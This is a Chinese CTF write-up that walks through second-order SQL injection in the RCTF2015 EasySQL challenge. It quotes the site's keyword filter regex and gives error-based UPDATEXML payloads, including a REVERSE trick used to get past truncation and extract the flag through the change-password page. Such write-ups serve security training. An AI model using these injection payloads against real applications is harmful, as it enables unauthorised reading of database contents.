[RCTF2015]EasySQL

[RCTF2015]EasySQL

就有个问题,感觉自己到现在关于二次注入的问题做了大概有4道了,并且都是比较简单的题目,但是还是找不到回显点在哪里…感觉自己还是不够细心,更没有耐心,我感觉做web最主要的还是要有耐心吧…
我们都知道二次注入的意思就是说,当我输入1’||union select 1,2,3#的时候,他存入数据库的还是1’||union select 1,2,3#,但是当需要用到这个数据的时候,将其从数据库中取出来的时候,比如使用语句select * from user where username = ‘$username’,就会变成select * from user where username = ‘1’||union select 1,2,3#’,从而造成注入。解决问题的关键就是,在哪里可以回显我们输入的数据。

进入正题

这是这个网站的全部功能
1.png
注册页面禁止了一些字符,看源码是过滤了这些字符(太难受了…burpsuite突然坏了…)

#(\s)|(/\*.*\*/)|file|insert|<|and|floor|ord|char|ascii|mid|left|right|hex|sleep|benchmark|substr|@|`|delete|like#i

然后尝试注入,这个真的就没办法,就是一直找可以回显的地方,最后知道是在修改密码那里采用报错注入…

我自己在本地模拟了一下,我输入用户名为:

2.png数据库里面的数据如图所示

我把输出语句打印了出来,为了更方便理解

3.png可以看到在登录的时候我们输入的’被转义,所以并没有执行我们预期的命令

哦对了,忘记了,这道题目比较坑的一点是它用的是“双引号闭合…

我们把前面的命令该为双引号闭合,然后changepwd.php那个页面里面,修改密码

4.png

知道了回显点在哪里就可以开始做题目了
(UPDATEXML(1,CONCAT('~',(SELECT(GROUP_CONCAT(real_flag_1s_here))FROM(users))),1))#
(UPDATEXML(1,CONCAT('~',REVERSE((SELECT(GROUP_CONCAT(real_flag_1s_here))FROM(users)))),1))#

一般使用报错注入的时候,几乎都不会一次性的展示所有的信息,但是因为过滤了几乎所有可以截断字符串的函数,所以我们就是用reverse将信息逆序输出,最后

在这里插入图片描述然后我们可以使用python切片的方法将其转换即可

str="}379d322fa372-ceda-4e44-1b3e-38"
str=str[::-1]
print(str)

在这里插入图片描述

后记

怎么说呢,就是感觉自己还是没有耐心,再加之还是不熟练…
以后的路还长,一定要坚持,坚持可能有结果,但是不坚持一定会输

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值